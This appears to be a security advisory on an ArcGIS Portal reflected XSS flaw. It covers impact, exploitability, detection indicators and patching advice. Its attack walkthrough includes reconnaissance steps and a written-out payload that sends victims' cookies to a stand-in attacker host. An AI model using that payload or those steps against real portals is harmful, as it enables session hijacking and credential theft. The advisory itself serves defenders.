CVE-2026-33520: 
ArcGIS Server vulnerability analysis and mitigation

CVE-2026-33520 is a reflected cross-site scripting (XSS) vulnerability in Esri Portal for ArcGIS and ArcGIS Server versions 11.1 through 12.1 (prior to 12.1). It allows a remote, unauthenticated attacker to craft a malicious link that, when clicked by a victim, executes arbitrary JavaScript code in the victim's browser. The vulnerability was published on October 26, 2026, with a patch provided for ArcGIS Server versions in General Availability and Extended support status (including version 11.5). It carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the reflected XSS variant (CAPEC-591). The root cause is insufficient sanitization of user-supplied input that is reflected back in HTTP responses without proper encoding, allowing injected JavaScript to execute in the victim's browser context. Exploitation requires no authentication and no special privileges, but does require user interaction — specifically, a victim must click a crafted link. No technical write-ups or public proof-of-concept code have been identified at this time (GitHub Advisory, Feedly).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of the victim's browser session on the ArcGIS Portal, potentially enabling session hijacking, credential theft, phishing overlays, or unauthorized manipulation of portal functionality. The scope is changed (C:L, I:L, A:N), meaning the impact extends beyond the vulnerable component to the user's browser environment. Availability is not directly impacted, but confidentiality and integrity of the user's session and data are at low-to-moderate risk (GitHub Advisory).

There is no known public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is 0.0, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The NVD SSVC assessment classifies exploitation as "none" and the attack as non-automatable due to the required user interaction (GitHub Advisory, Feedly).

1. Reconnaissance: Identify publicly accessible Esri Portal for ArcGIS or ArcGIS Server instances running versions 11.1 through below 12.1 using tools like Shodan or Censys, or by inspecting version banners on the portal login page.
2. Identify vulnerable parameter: Probe portal endpoints for reflected input by injecting benign test strings (e.g., <script>alert(1)</script>) into URL parameters or form fields to identify which parameters are reflected unsanitized in the response.
3. Craft malicious link: Construct a URL targeting the vulnerable endpoint with a URL-encoded XSS payload in the identified parameter, e.g., https://target-portal/arcgis/home/search.html?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver the link: Send the crafted URL to a target victim via phishing email, social engineering, or by embedding it in a trusted communication channel.
5. Achieve objective: When the victim clicks the link and the portal reflects the payload, the injected JavaScript executes in the victim's browser, enabling cookie theft, session hijacking, or further malicious actions within the portal context (GitHub Advisory).

• Network: Unusual outbound HTTP requests from a user's browser to unknown external domains shortly after accessing an ArcGIS Portal URL containing encoded script tags or JavaScript in query parameters.
• Logs: ArcGIS Server or Portal access logs showing requests with URL-encoded XSS payloads (e.g., %3Cscript%3E, javascript:, onerror=) in query string parameters.
• Logs: Web application firewall (WAF) alerts triggered by reflected XSS patterns in requests to ArcGIS Portal endpoints.
• Browser/Client: Unexpected redirects or pop-ups occurring when users access ArcGIS Portal links received via email or messaging platforms.

Esri has released a patch for ArcGIS Server versions in General Availability and Extended support status, including version 11.5; administrators should apply this patch immediately. ArcGIS Server versions in mature or retired support status are not eligible for patching — users on those versions should upgrade to a supported release and apply the patch. As a defense-in-depth measure, organizations should implement Content Security Policy (CSP) headers on the portal to restrict script execution, conduct user awareness training to discourage clicking unsolicited links, and consider deploying a WAF with XSS detection rules (GitHub Advisory, Esri Security Bulletin).